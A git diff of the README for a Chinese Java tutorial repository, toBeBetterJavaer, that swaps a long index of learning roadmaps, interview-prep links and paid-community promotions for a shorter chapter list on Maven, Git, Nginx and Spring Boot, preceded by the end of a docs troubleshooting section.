-- mathjax-full: ^3.2.2
-
-## Common Issues
-
-**Stale Content After Changes:**
-- Run `pnpm docs:clean-dev` instead of `pnpm docs:dev`
-- Or manually delete `.cache` and `.temp` directories
-
-**Build Errors:**
-- Ensure you're using **pnpm**, not npm or yarn
-- Delete `node_modules` and run `pnpm install`
-- Check Node.js version compatibility
-
-**Missing Images:**
-- Use CDN URLs when possible
-- Local images go in `docs/src/.vuepress/public/`
-
-**Navigation Not Updating:**
-- Check `navbar.ts` for top menu items
-- Check `sidebar.ts` for sidebar structure
-- Restart dev server after config changes
\ No newline at end of file
diff --git a/README.md b/README.md
index 60c5e76c4c..126e79766d 100644
--- a/README.md
+++ b/README.md
@@ -1,816 +1,280 @@
+# :rainbow: To Be Better Javaer,Java 程序员进阶之路 - 通俗易懂、风趣幽默
-
-
-
-
-
-
-
-
-
-
-
- 
- Github |
- Gitee
-
-
-# 为什么会有这个开源知识库
-
-> 知识库取名 **toBeBetterJavaer**,即 **To Be Better Javaer**,意为「成为一名更好的 Java 程序员」,是我自学 Java 以来所有原创文章和学习资料的大聚合。内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 企业级开发、Java 面试等核心知识点。据说每一个优秀的 Java 程序员都喜欢她,风趣幽默、通俗易懂。学 Java,就认准 二哥的Java进阶之路😄。
->
-> 知识库旨在为学习 Java 的小伙伴提供一系列:
-> - **优质的原创 Java 教程**
-> - **全面清晰的 Java 学习路线**
-> - **免费但靠谱的 Java 学习资料**
-> - **精选的 Java 岗求职面试指南**
-> - **Java 企业级开发所需的必备技术**
->
-> 赠人玫瑰手有余香。知识库会持续保持**更新**,欢迎收藏品鉴!
->
-> **转载须知** :以下所有文章如非文首说明为转载皆为我(沉默王二)的原创,且不允许转载,如发现恶意抄袭/搬运,会动用法律武器维护自己的权益。让我们一起维护一个良好的技术创作环境!
->
-> 推荐你通过在线阅读网站进行阅读,体验更好,速度更快!
->
-> - [**二哥的Java进阶之路在线网站(新域名:javabetter.cn 好记,推荐👍)**](https://javabetter.cn)
-> - [老版 Java 程序员进阶之路在线网址(老域名 tobebetterjavaer.com 难记)](https://tobebetterjavaer.com)
-> - [技术派之二哥的Java进阶之路专栏](https://paicoding.com/column/5/1)
->
-> 如果你更喜欢离线的 PDF 版本,戳这个链接获取[👍二哥的 Java 进阶之路.pdf](docs/src/overview/readme.md)
-
-# 知识库地图
-
-> 知识库收录的核心内容就全在这里面了,大类分为 Java 核心、Java 企业级开发、数据库、计算机基础、求职面试、学习资源、程序人生,几乎你需要的这里都有。
-
-
-
-一个人可以走得很快,但一群人才能走得更远。[二哥的编程星球](https://javabetter.cn/zhishixingqiu/)已经有 **10000 多名** 球友加入了(马上涨价到 169 元,抓紧时间趁没涨价前加入吧),如果你也需要一个优质的学习环境,扫描下方的优惠券加入我们吧。
-
-
-
-
-
-
-
-
-
-新人可免费体验 3 天,不满意可全额退款(只能帮你到这里了😄)。
-
-这是一个 **简历精修 + AI/Agent实战项目 + Java 面试指南 + LeetCode 刷题**的私密圈子,你可以阅读星球专栏、向二哥提问、帮你制定学习计划、和球友一起打卡成长。两个置顶帖「球友必看」和「知识图谱」里已经沉淀了非常多优质的内容,**相信能帮助你走的更快、更稳、更远**。
-
-- [二哥精修简历服务,让你投了就有笔试&面试✌️](https://javabetter.cn/zhishixingqiu/jianli.html)
-- [二哥的PaiFlow工作流Agent项目派派工作流上线了,Agent时代你必须掌握✌️](https://javabetter.cn/zhishixingqiu/paiflow.html)
-- [二哥的RAG知识库项目派聪明上线了,AI时代你必须拥有的实战项目✌️](https://javabetter.cn/zhishixingqiu/paismart.html)
-- [Go 版本的派聪明RAG知识库项目上线了,学习 Go 语言的小伙伴有福了✌️](https://javabetter.cn/zhishixingqiu/paismart-go.html)
-- [二哥的技术派实战项目更新了,秋招&暑期/日常实习大杀器✌️](https://javabetter.cn/zhishixingqiu/paicoding.html)
-- [二哥的PmHub微服务实战项目上线了,校招和社招均可用✌️](https://javabetter.cn/zhishixingqiu/paicoding.html)
-- [二哥的Java面试指南专栏更新了,求职面试必备✌️](https://javabetter.cn/zhishixingqiu/mianshi.html)
-
-
-# 学习路线
-
-> 除了 Java 学习路线,还有 MySQL、Redis、C语言、C++、Python、Go 语言、操作系统、前端、数据结构与算法、蓝桥杯、大数据、Android、.NET等硬核学习路线,欢迎收藏品鉴!
-
- * [Java学习路线一条龙版(建议收藏🔥)](docs/src/xuexiluxian/java/yitiaolong.md)
- * [Java并发编程学习路线(建议收藏🔥)](docs/src/xuexiluxian/java/thread.md)
- * [Java虚拟机学习路线(建议收藏🔥)](docs/src/xuexiluxian/java/jvm.md)
- * [MySQL 学习路线(建议收藏🔥)](docs/src/xuexiluxian/mysql.md)
- * [Redis 学习路线(建议收藏🔥)](docs/src/xuexiluxian/redis.md)
- * [C语言学习路线(建议收藏🔥)](docs/src/xuexiluxian/c.md)
- * [C++学习路线(建议收藏🔥)](docs/src/xuexiluxian/ccc.md)
- * [Python学习路线(建议收藏🔥)](docs/src/xuexiluxian/python.md)
- * [Go语言学习路线(建议收藏🔥)](docs/src/xuexiluxian/go.md)
- * [操作系统学习路线(建议收藏🔥)](docs/src/xuexiluxian/os.md)
- * [前端学习路线(建议收藏🔥)](docs/src/xuexiluxian/qianduan.md)
- * [算法和数据结构学习路线(建议收藏🔥)](docs/src/xuexiluxian/algorithm.md)
- * [蓝桥杯学习路线(建议收藏🔥)](docs/src/xuexiluxian/lanqiaobei.md)
- * [大数据学习路线(建议收藏🔥)](docs/src/xuexiluxian/bigdata.md)
- * [Android 安卓学习路线(建议收藏🔥)](docs/src/xuexiluxian/android.md)
- * [.NET 学习路线(建议收藏🔥)](docs/src/xuexiluxian/donet.md)
- * [Linux 学习路线(建议收藏🔥)](docs/src/xuexiluxian/linux.md)
+> **作者:** 沉默王二,Java Developer,[:pencil2: 个人博客](https://itwanger.com),[:books: 计算机经典书单(download)](https://mp.weixin.qq.com/s/qwUtTbfDB36VSwnjMRakqA)
+
+>🌈 Java 程序员进阶之路,本专栏风趣幽默、通俗易懂,对 Java 爱好者极度友好和舒适😄,内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 面试题、Java 企业级开发(Git、SSM、Spring Boot)、计算机基础知识(操作系统、计组、计网、数据结构与算法)等核心知识点。如果本专栏为你提供了帮助,请给予支持(star一下,或者推荐给你的朋友)!
+
+
+# ⛳目录
+
+- 仓库同步:[Github](https://github.com/itwanger/toBeBetterJavaer) | [码云](https://gitee.com/itwanger/toBeBetterJavaer) | [CodeChina](https://codechina.csdn.net/qing_gee/toBeBetterJavaer)
+- [学习说明](https://github.com/itwanger/toBeBetterJavaer#bookmark-学习说明)
+- [章节目录](https://github.com/itwanger/toBeBetterJavaer#pencil-章节目录)
+- [联系作者](https://github.com/itwanger/toBeBetterJavaer#paw_prints-联系作者)
+- [参与贡献](https://github.com/itwanger/toBeBetterJavaer#muscle-参与贡献)
+
+具体章节可以参照下面这张思维导图(绿色✅的部分是已经更新的)
+
-# 面渣逆袭
-
-> **面试前必读系列**!包括 Java 基础、Java 集合框架、Java 并发编程、Java 虚拟机、Spring、Redis、MyBatis、MySQL、操作系统、计算机网络、RocketMQ、分布式、微服务、设计模式、Linux 等等。
-
-- [面渣逆袭(MySQL八股文面试题)必看👍](docs/src/sidebar/sanfene/mysql.md)
-- [面渣逆袭(Redis八股文面试题)必看👍](docs/src/sidebar/sanfene/redis.md)
-- [面渣逆袭(Spring八股文面试题)必看👍](docs/src/sidebar/sanfene/spring.md)
-- [面渣逆袭(Java 基础篇八股文面试题)必看👍](docs/src/sidebar/sanfene/javase.md)
-- [面渣逆袭(Java 集合框架篇八股文面试题)必看👍](docs/src/sidebar/sanfene/collection.md)
-- [面渣逆袭(Java 并发编程篇八股文面试题)必看👍](docs/src/sidebar/sanfene/javathread.md)
-- [面渣逆袭(Java 虚拟机篇八股文面试题)必看👍](docs/src/sidebar/sanfene/jvm.md)
-- [面渣逆袭(MyBatis八股文面试题)必看👍](docs/src/sidebar/sanfene/mybatis.md)
-- [面渣逆袭(操作系统八股文面试题)必看👍](docs/src/sidebar/sanfene/os.md)
-- [面渣逆袭(计算机网络八股文面试题)必看👍](docs/src/sidebar/sanfene/network.md)
-- [面渣逆袭(RocketMQ八股文面试题)必看👍](docs/src/sidebar/sanfene/rocketmq.md)
-- [面渣逆袭(分布式面试题八股文)必看👍](docs/src/sidebar/sanfene/fenbushi.md)
-- [面渣逆袭(微服务面试题八股文)必看👍](docs/src/sidebar/sanfene/weifuwu.md)
-- [面渣逆袭(设计模式面试题八股文)必看👍](docs/src/sidebar/sanfene/shejimoshi.md)
-- [面渣逆袭(Linux面试题八股文)必看👍](docs/src/sidebar/sanfene/linux.md)
-
-# Java基础
-
-> **Java基础非常重要**!包括基础语法、面向对象、集合框架、异常处理、Java IO、网络编程、NIO、并发编程和 JVM。
-
-
-## Java概述及环境配置
-
-- [《二哥的Java进阶之路》小册简介](docs/src/overview/readme.md)
-- [Java简史、特性、前景](docs/src/overview/what-is-java.md)
-- [Windows和macOS下安装JDK教程](docs/src/overview/jdk-install-config.md)
-- [在macOS和Windows上安装Intellij IDEA](docs/src/overview/IDEA-install-config.md)
-- [编写第一个程序Hello World](docs/src/overview/hello-world.md)
-
-## Java基础语法
-
-- [48个关键字及2个保留字全解析](docs/src/basic-extra-meal/48-keywords.md)
-- [了解Java注释](docs/src/basic-grammar/javadoc.md)
-- [基本数据类型与引用数据类型](docs/src/basic-grammar/basic-data-type.md)
-- [自动类型转换与强制类型转换](docs/src/basic-grammar/type-cast.md)
-- [Java基本数据类型缓存池剖析(IntegerCache)](docs/src/basic-extra-meal/int-cache.md)
-- [Java运算符详解](docs/src/basic-grammar/operator.md)
-- [Java流程控制语句详解](docs/src/basic-grammar/flow-control.md)
-- [Java 语法基础练习题](docs/src/basic-grammar/basic-exercise.md)
-
-## 数组&字符串
-
-- [掌握Java数组](docs/src/array/array.md)
-- [掌握 Java二维数组](docs/src/array/double-array.md)
-- [如何优雅地打印Java数组?](docs/src/array/print.md)
-- [深入解读String类源码](docs/src/string/string-source.md)
-- [为什么Java字符串是不可变的?](docs/src/string/immutable.md)
-- [深入理解Java字符串常量池](docs/src/string/constant-pool.md)
-- [详解 String.intern() 方法](docs/src/string/intern.md)
-- [String、StringBuilder、StringBuffer](docs/src/string/builder-buffer.md)
-- [Java中equals()与==的区别](docs/src/string/equals.md)
-- [最优雅的Java字符串拼接是哪种方式?](docs/src/string/join.md)
-- [如何在Java中拆分字符串?](docs/src/string/split.md)
-
-## Java面向对象编程
-
-- [类和对象](docs/src/oo/object-class.md)
-- [Java中的包](docs/src/oo/package.md)
-- [Java变量](docs/src/oo/var.md)
-- [Java方法](docs/src/oo/method.md)
-- [Java可变参数详解](docs/src/basic-extra-meal/varables.md)
-- [手把手教你用 C语言实现 Java native 本地方法](docs/src/oo/native-method.md)
-- [Java构造方法](docs/src/oo/construct.md)
-- [Java访问权限修饰符](docs/src/oo/access-control.md)
-- [Java代码初始化块](docs/src/oo/code-init.md)
-- [Java抽象类](docs/src/oo/abstract.md)
-- [Java接口](docs/src/oo/interface.md)
-- [Java内部类](docs/src/oo/inner-class.md)
-- [深入理解Java三大特性:封装、继承和多态](docs/src/oo/encapsulation-inheritance-polymorphism.md)
-- [详解Java this与super关键字](docs/src/oo/this-super.md)
-- [详解Java static 关键字](docs/src/oo/static.md)
-- [详解Java final 关键字](docs/src/oo/final.md)
-- [掌握Java instanceof关键字](docs/src/basic-extra-meal/instanceof.md)
-- [聊聊Java中的不可变对象](docs/src/basic-extra-meal/immutable.md)
-- [方法重写 Override 和方法重载 Overload 有什么区别?](docs/src/basic-extra-meal/override-overload.md)
-- [深入理解Java中的注解](docs/src/basic-extra-meal/annotation.md)
-- [Java枚举:小小enum,优雅而干净](docs/src/basic-extra-meal/enum.md)
-
-## 集合框架(容器)
-
-- [Java集合框架概览,包括List、Set、Map、队列](docs/src/collection/gailan.md)
-- [深入探讨 Java ArrayList](docs/src/collection/arraylist.md)
-- [深入探讨 Java LinkedList](docs/src/collection/linkedlist.md)
-- [Java Stack详解](docs/src/collection/stack.md)
-- [Java HashMap详解](docs/src/collection/hashmap.md)
-- [Java LinkedHashMap详解](docs/src/collection/linkedhashmap.md)
-- [Java TreeMap详解](docs/src/collection/treemap.md)
-- [Java 双端队列 ArrayDeque详解](docs/src/collection/arraydeque.md)
-- [Java 优先级队列PriorityQueue详解](docs/src/collection/PriorityQueue.md)
-- [Java Comparable和Comparator的区别](docs/src/collection/comparable-omparator.md)
-- [时间复杂度,评估ArrayList和LinkedList的执行效率](docs/src/collection/time-complexity.md)
-- [ArrayList和LinkedList的区别](docs/src/collection/list-war-2.md)
-- [Java 泛型深入解析](docs/src/basic-extra-meal/generic.md)
-- [Java迭代器Iterator和Iterable有什么区别?](docs/src/collection/iterator-iterable.md)
-- [为什么禁止在foreach里执行元素的删除操作?](docs/src/collection/fail-fast.md)
-
-## Java IO
-
-- [深入了解 Java IO](docs/src/io/shangtou.md)
-- [Java File:IO 流的起点与终点](docs/src/io/file-path.md)
-- [Java 字节流:Java IO 的基石](docs/src/io/stream.md)
-- [Java 字符流:Reader和Writer的故事](docs/src/io/reader-writer.md)
-- [Java 缓冲流:Java IO 的读写效率有了质的飞升](docs/src/io/buffer.md)
-- [Java 转换流:Java 字节流和字符流的桥梁](docs/src/io/char-byte.md)
-- [Java 打印流:PrintStream & PrintWriter](docs/src/io/print.md)
-- [Java 序列流:Java 对象的序列化和反序列化](docs/src/io/serialize.md)
-- [Java Serializable 接口:明明就一个空的接口嘛](docs/src/io/Serializbale.md)
-- [深入探讨 Java transient 关键字](docs/src/io/transient.md)
-
-## 异常处理
-
-- [一文彻底搞懂Java异常处理,YYDS](docs/src/exception/gailan.md)
-- [深入理解 Java 中的 try-with-resources](docs/src/exception/try-with-resources.md)
-- [Java异常处理的20个最佳实践](docs/src/exception/shijian.md)
-- [空指针NullPointerException的传说](docs/src/exception/npe.md)
-- [try-catch 捕获异常真的会影响性能吗?](docs/src/exception/try-catch-xingneng.md)
-
-## 常用工具类
-
-- [Java Scanner:扫描控制台输入的工具类](docs/src/common-tool/scanner.md)
-- [Java Arrays:专为数组而生的工具类](docs/src/common-tool/arrays.md)
-- [Apache StringUtils:专为Java字符串而生的工具类](docs/src/common-tool/StringUtils.md)
-- [Objects:专为操作Java对象而生的工具类](docs/src/common-tool/Objects.md)
-- [Java Collections:专为集合而生的工具类](docs/src/common-tool/collections.md)
-- [Hutool:国产良心工具包,让你的Java变得更甜](docs/src/common-tool/hutool.md)
-- [Guava:Google开源的Java工具库,太强大了](docs/src/common-tool/guava.md)
-- [其他常用Java工具类:IpUtil、MDC、ClassUtils、BeanUtils、ReflectionUtils](docs/src/common-tool/utils.md)
-
-## Java新特性
-
-- [Java 8 Stream流:掌握流式编程的精髓](docs/src/java8/stream.md)
-- [Java 8 Optional最佳指南:解决空指针问题的优雅之选](docs/src/java8/optional.md)
-- [深入浅出Java 8 Lambda表达式:探索函数式编程的魅力](docs/src/java8/Lambda.md)
-- [Java 14 开箱,新特性Record、instanceof、switch香香香香](docs/src/java8/java14.md)
-
-## Java网络编程
-
-- [Java网络编程的基础:计算机网络](docs/src/socket/network-base.md)
-- [Java Socket:飞鸽传书的网络套接字](docs/src/socket/socket.md)
-- [牛逼,用Java Socket手撸了一个HTTP服务器](docs/src/socket/http.md)
-
-## Java NIO
-
-- [Java NIO 比传统 IO 强在哪里?](docs/src/nio/nio-better-io.md)
-- [一文彻底解释清楚Java 中的NIO、BIO和AIO](docs/src/nio/BIONIOAIO.md)
-- [详解Java NIO的Buffer缓冲区和Channel通道](docs/src/nio/buffer-channel.md)
-- [聊聊 Java NIO中的Paths、Files](docs/src/nio/paths-files.md)
-- [Java NIO 网络编程实践:从入门到精通](docs/src/nio/network-connect.md)
-- [一文彻底理解Java IO模型](docs/src/nio/moxing.md)
-
-## 重要知识点
-
-- [Java命名规范:编写可读性强的代码](docs/src/basic-extra-meal/java-naming.md)
-- [解决中文乱码:字符编码全攻略 - ASCII、Unicode、UTF-8、GB2312详解](docs/src/basic-extra-meal/java-unicode.md)
-- [深入浅出Java拆箱与装箱](docs/src/basic-extra-meal/box.md)
-- [深入理解Java浅拷贝与深拷贝](docs/src/basic-extra-meal/deep-copy.md)
-- [Java hashCode方法解析](docs/src/basic-extra-meal/hashcode.md)
-- [Java到底是值传递还是引用传递?](docs/src/basic-extra-meal/pass-by-value.md)
-- [为什么无法实现真正的泛型?](docs/src/basic-extra-meal/true-generic.md)
-- [Java 反射详解](docs/src/basic-extra-meal/fanshe.md)
-
-## Java并发编程
-
-- [并发编程小册简介](docs/src/thread/readme.md)
-- [Java多线程入门](docs/src/thread/wangzhe-thread.md)
-- [获取线程的执行结果](docs/src/thread/callable-future-futuretask.md)
-- [Java线程的6种状态及切换](docs/src/thread/thread-state-and-method.md)
-- [线程组和线程优先级](docs/src/thread/thread-group-and-thread-priority.md)
-- [进程与线程的区别](docs/src/thread/why-need-thread.md)
-- [多线程带来了哪些问题?](docs/src/thread/thread-bring-some-problem.md)
-- [Java的内存模型(JMM)](docs/src/thread/jmm.md)
-- [volatile关键字解析](docs/src/thread/volatile.md)
-- [synchronized关键字解析](docs/src/thread/synchronized-1.md)
-- [synchronized的四种锁状态](docs/src/thread/synchronized.md)
-- [深入浅出偏向锁](docs/src/thread/pianxiangsuo.md)
-- [CAS详解](docs/src/thread/cas.md)
-- [AQS详解](docs/src/thread/aqs.md)
-- [锁分类和 JUC](docs/src/thread/lock.md)
-- [重入锁ReentrantLock](docs/src/thread/reentrantLock.md)
-- [读写锁ReentrantReadWriteLock](docs/src/thread/ReentrantReadWriteLock.md)
-- [等待通知条件Condition](docs/src/thread/condition.md)
-- [线程阻塞唤醒类LockSupport](docs/src/thread/LockSupport.md)
-- [Java的并发容器](docs/src/thread/map.md)
-- [并发容器ConcurrentHashMap](docs/src/thread/ConcurrentHashMap.md)
-- [非阻塞队列ConcurrentLinkedQueue](docs/src/thread/ConcurrentLinkedQueue.md)
-- [阻塞队列BlockingQueue](docs/src/thread/BlockingQueue.md)
-- [并发容器CopyOnWriteArrayList](docs/src/thread/CopyOnWriteArrayList.md)
-- [本地变量ThreadLocal](docs/src/thread/ThreadLocal.md)
-- [线程池](docs/src/thread/pool.md)
-- [定时任务ScheduledThreadPoolExecutor](docs/src/thread/ScheduledThreadPoolExecutor.md)
-- [原子操作类Atomic](docs/src/thread/atomic.md)
-- [魔法类 Unsafe](docs/src/thread/Unsafe.md)
-- [通信工具类](docs/src/thread/CountDownLatch.md)
-- [Fork/Join](docs/src/thread/fork-join.md)
-- [生产者-消费者模式](docs/src/thread/shengchanzhe-xiaofeizhe.md)
-
-
-## Java虚拟机
-
-- [JVM小册简介](docs/src/jvm/readme.md)
-- [大白话带你认识JVM](docs/src/jvm/what-is-jvm.md)
-- [JVM是如何运行Java代码的?](docs/src/jvm/how-run-java-code.md)
-- [Java的类加载机制(付费)](docs/src/jvm/class-load.md)
-- [Java的类文件结构](docs/src/jvm/class-file-jiegou.md)
-- [从javap的角度轻松看懂字节码](docs/src/jvm/bytecode.md)
-- [栈虚拟机与寄存器虚拟机](docs/src/jvm/vm-stack-register.md)
-- [字节码指令详解](docs/src/jvm/zijiema-zhiling.md)
-- [深入理解JVM的栈帧结构](docs/src/jvm/stack-frame.md)
-- [深入理解JVM的运行时数据区](docs/src/jvm/neicun-jiegou.md)
-- [深入理解JVM的垃圾回收机制](docs/src/jvm/gc.md)
-- [深入理解 JVM 的垃圾收集器:CMS、G1、ZGC](docs/src/jvm/gc-collector.md)
-- [Java 创建的对象到底放在哪?](docs/src/jvm/whereis-the-object.md)
-- [深入理解JIT(即时编译)](docs/src/jvm/jit.md)
-- [JVM 性能监控之命令行篇](docs/src/jvm/console-tools.md)
-- [JVM 性能监控之可视化篇](docs/src/jvm/view-tools.md)
-- [阿里开源的 Java 诊断神器 Arthas](docs/src/jvm/arthas.md)
-- [内存溢出排查优化实战](docs/src/jvm/oom.md)
-- [CPU 100% 排查优化实践](docs/src/jvm/cpu-percent-100.md)
-- [JVM 核心知识点总结](docs/src/jvm/zongjie.md)
-
-
-# Java进阶
-
-> - **到底能不能成为一名合格的 Java 程序员,从理论走向实战?Java进阶这部分内容就是一个分水岭**!
-> - 纸上得来终觉浅,须知此事要躬行。
-
-## 开发/构建工具
-
-> 工欲善其事必先利其器,这句话大家都耳熟能详了,熟练使用开发/构建工具可以让我们极大提升开发效率,解放生产力。
-
-- [5分钟带你深入浅出搞懂Nginx](docs/src/nginx/nginx.md)
-
-### IDEA
-
-> 集成开发环境,Java 党主要就是 Intellij IDEA 了,号称史上最强大的 Java 开发工具,没有之一。
-
-- [分享 4 个阅读源码必备的 IDEA 调试技巧](docs/src/ide/4-debug-skill.md)
-- [分享 1 个可以在 IDEA 里下五子棋的插件](docs/src/ide/xechat.md)
-- [分享 10 个可以一站式开发的 IDEA 神级插件](docs/src/ide/shenji-chajian-10.md)
-
-### Maven
-
-> Maven 是目前比较流行的一个项目构建工具,基于 pom 坐标来帮助我们管理第三方依赖,以及项目打包。
-
-- [终于把项目构建神器Maven捋清楚了~](docs/src/maven/maven.md)
-
-### Git
-
-> Git 是一个分布式版本控制系统,缔造者是大名鼎鼎的林纳斯·托瓦茲 (Linus Torvalds),Git 最初的目的是为了能更好的管理 Linux 内核源码。如今,Git 已经成为全球软件开发者的标配。如果说 Linux 项目促成了开源软件的成功并改写了软件行业的格局,那么 Git 则是改变了全世界开发者的工作方式和写作方式。
-
-- [1小时彻底掌握Git](docs/src/git/git-qiyuan.md)
-- [GitHub 远程仓库端口切换](docs/src/git/port-22-to-443.md)
-
-## Spring
-- [Spring AOP扫盲](docs/src/springboot/aop-log.md)
-- [Spring IoC扫盲](docs/src/springboot/ioc.md)
+# :bookmark: 学习说明
+**编程是听不会,也看不会的,只有经过大量的实践才能学会,所以一定要动手,专栏中所有的例子都不要放过,一个一个来,直到自己能在没有任何帮助的情况下,独立完成代码的编写**。
-## SpringBoot
+记住:编程是门手艺活,唯手熟尔!
-- [一分钟快速搭建Spring Boot项目](docs/src/springboot/initializr.md)
-- [Spring Boot 整合 lombok](docs/src/springboot/lombok.md)
-- [Spring Boot 整合 MySQL 和 Druid](docs/src/springboot/mysql-druid.md)
-- [Spring Boot 整合 JPA](docs/src/springboot/jpa.md)
-- [Spring Boot 整合 Thymeleaf 模板引擎](docs/src/springboot/thymeleaf.md)
-- [Spring Boot 如何开启事务支持?](docs/src/springboot/transaction.md)
-- [Spring Boot 中使用过滤器、拦截器、监听器](docs/src/springboot/Filter-Interceptor-Listener.md)
-- [Spring Boot 整合 Redis 实现缓存](docs/src/redis/redis-springboot.md)
-- [Spring Boot 整合 Logback 定制日志框架](docs/src/springboot/logback.md)
-- [Spring Boot 整合 Swagger-UI 实现在线API文档](docs/src/springboot/swagger.md)
-- [Spring Boot 整合 Knife4j,美化强化丑陋的Swagger](docs/src/gongju/knife4j.md)
-- [Spring Boot 整合 Spring Task 实现定时任务](docs/src/springboot/springtask.md)
-- [Spring Boot 整合 MyBatis-Plus AutoGenerator 生成编程喵项目骨架代码](docs/src/kaiyuan/auto-generator.md)
-- [Spring Boot 整合Quartz实现编程喵定时发布文章](docs/src/springboot/quartz.md)
-- [Spring Boot 整合 MyBatis](docs/src/springboot/mybatis.md)
-- [一键部署 Spring Boot 到远程 Docker 容器](docs/src/springboot/docker.md)
-- [如何在本地(macOS环境)跑起来编程喵(Spring Boot+Vue)项目源码?](docs/src/springboot/macos-codingmore-run.md)
-- [如何在本地(Windows环境)跑起来编程喵(Spring Boot+Vue)项目源码?](docs/src/springboot/windows-codingmore-run.md)
-- [编程喵🐱实战项目如何在云服务器上跑起来?](docs/src/springboot/linux-codingmore-run.md)
-- [SpringBoot中处理校验逻辑的两种方式:Hibernate Validator+全局异常处理](docs/src/springboot/validator.md)
+----
+1. 本专栏的所有内容都是经过我精心打磨的,所以你完全不用担心学不会的问题!
-## Netty
+2. 本专栏的所有配套源码已经在 GitHub 上开源(在本仓库的 code 目录下,直接导入到 Intellij IDEA 就可以运行),你在练手的时候可以作为参考。
-- [超详细Netty入门,看这篇就够了!](docs/src/netty/rumen.md)
+3. 如果你在学习的过程中遇到了什么问题,包括:不能运行、优化意见、文字错误等任何问题都可以提交 issue,也可以联系我,微信:`qing_geee`,备注 Java。
+4. 本专栏不仅会教你如何学习 Java,还会把我十多年的编程经验倾囊相授,让你真正成为一名有即战力的选手。
-## 辅助工具
+5. **没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟**。
-- [Chocolatey:一款GitHub星标8.2k+的Windows命令行软件管理器,好用到爆!](docs/src/gongju/choco.md)
-- [Homebrew,GitHub 星标 32.5k+的 macOS 命令行软件管理神器,功能真心强大!](docs/src/gongju/brew.md)
-- [Tabby:一款逼格更高的开源终端工具,GitHub 星标 21.4k](docs/src/gongju/tabby.md)
-- [Warp:号称下一代终端神器,GitHub星标2.8k+,用完爱不释手](docs/src/gongju/warp.md)
-- [WindTerm:新一代开源免费的终端工具,GitHub星标6.6k+,太酷了!](docs/src/gongju/windterm.md)
-- [chiner:干掉 PowerDesigner,国人开源的数据库设计工具,界面漂亮,功能强大](docs/src/gongju/chiner.md)
-- [DBeaver:干掉付费的 Navicat,操作所有数据库就靠它了!](docs/src/gongju/DBeaver.md)
+# :pencil: 章节目录
-## 开源轮子
+## Java 企业级开发
-- [Forest:一款极简的声明式HTTP调用API框架](docs/src/gongju/forest.md)
-- [Junit:一个开源的Java单元测试框架](docs/src/gongju/junit.md)
-- [fastjson:阿里巴巴开源的JSON解析库](docs/src/gongju/fastjson.md)
-- [Gson:Google开源的JSON解析库](docs/src/gongju/gson.md)
-- [Jackson:GitHub上star数最多的JSON解析库](docs/src/gongju/jackson.md)
-- [Log4j:Java日志框架的鼻祖](docs/src/gongju/log4j.md)
-- [Log4j 2:Apache维护的一款高性能日志记录工具](docs/src/gongju/log4j2.md)
-- [Logback:Spring Boot内置的日志处理框架](docs/src/gongju/logback.md)
-- [SLF4J:阿里巴巴强制使用的日志门面担当](docs/src/gongju/slf4j.md)
+### **Maven**
+- [项目构建神器 Maven](docs/maven/maven.md)
+- [更快的 Maven 来了!!!性能提升 300%](docs/maven/mvnd.md)
-## 分布式
+### **Git**
-- [全文搜索引擎Elasticsearch入门教程](docs/src/elasticsearch/rumen.md)
-- [可能是把ZooKeeper概念讲的最清楚的一篇文章](docs/src/zookeeper/jibenjieshao.md)
-- [微服务网关:从对比到选型,由理论到实践](docs/src/microservice/api-wangguan.md)
+- [可能是 Git 历史上最伟大的一次代码提交](docs/git/git-qiyuan.md)
+- [终于有人把 Git 的数据模型讲清楚了](docs/git/shujujiegou.md)
+- [昨晚看完 Linus 第一次提交的 Git 代码后,我失眠了!](docs/git/neibushixian.md)
+- [要熟练使用 Git,恐怕要记住这60个命令](docs/git/mingling.md)
+- [崩溃!实习生把小组的代码仓库搞得一团糟。。。](docs/git/jibenshiyong.md)
+- [信不信,7 张图就能让你把 Git 分支管理拿捏的死死的。。](docs/git/fenzhi.md)
+- [豆瓣9.1分!我昨天在挂急诊时啃完了这本书!](docs/git/progit.md)
-## 消息队列
+### **Nginx**
-- [RabbitMQ入门教程(概念、应用场景、安装、使用)](docs/src/mq/rabbitmq-rumen.md)
-- [怎么确保消息100%不丢失?](docs/src/mq/100-budiushi.md)
-- [Kafka核心知识点大梳理](docs/src/mq/kafka.md)
+- [某俄罗斯小哥,竟靠一个服务器软件直接封神?](docs/nginx/nginx.md)
-# 数据库
+### **SpringBoot**
-> - **简而言之,就是按照数据结构来组织、存储和管理数据的仓库**。几乎所有的 Java 后端开发都要学习数据库这块的知识,包括关系型数据库 MySQL,缓存中间件 Redis,非关系型数据库 MongoDB 等。
+- [一分钟快速搭建 Spring Boot 项目](docs/springboot/initializr.md)
+- [基于SpringBoot 的CMS系统,拿去开发企业官网真香](https://mp.weixin.qq.com/s/HWTVu7E62VkaH2anQc1J_g)
+- [Spring Boot为什么不需要额外安装Tomcat?](docs/springboot/tomcat.md)
-## MySQL
-- [MySQL 的安装和连接,结合技术派实战项目来讲](docs/src/mysql/install.md)
-- [MySQL 的数据库操作,利用 Spring Boot 实现数据库的自动创建](docs/src/mysql/database.md)
-- [MySQL 表的基本操作,结合技术派的表自动初始化来讲](docs/src/mysql/table.md)
-- [MySQL 的数据类型,4000 字 20 张手绘图,彻底掌握](docs/src/mysql/data-type.md)
-- [MySQL 的字符集和比较规则,从跟上掌握](docs/src/mysql/charset.md)
-- [MySQL bin目录下的那些可执行文件,包括备份数据库、导入 CSV 等](docs/src/mysql/bin.md)
-- [MySQL 的字段属性,默认值、是否为空、主键、自增、ZEROLFILL等一网打尽](docs/src/mysql/column.md)
-- [MySQL 的简单查询,开始踏上 SELECT 之旅](docs/src/mysql/select-simple.md)
-- [MySQL 的 WEHRE 条件查询,重点搞懂 % 通配符](docs/src/mysql/select-where.md)
-- [如何保障MySQL和Redis的数据一致性?](docs/src/mysql/redis-shuju-yizhixing.md)
-- [从根上理解 MySQL 的事务](docs/src/mysql/lijie-shiwu.md)
-- [浅入深出 MySQL 中事务的实现](docs/src/mysql/shiwu-shixian.md)
+### **事故处理**
-## Redis
+- [我鮳!Log4j2突发重大漏洞,我们也中招了。。](docs/shigu/log4j2.md)
+- [重现了一波 Log4j2 核弹级漏洞,同事的电脑沦为炮灰](https://mp.weixin.qq.com/s/zXzJVxRxMUnoyJs6_NojMQ)
+- [生成订单30分钟未支付,则自动取消,该怎么实现?](https://mp.weixin.qq.com/s/J6jb_Dt3C49CIjYBTrN4gQ)
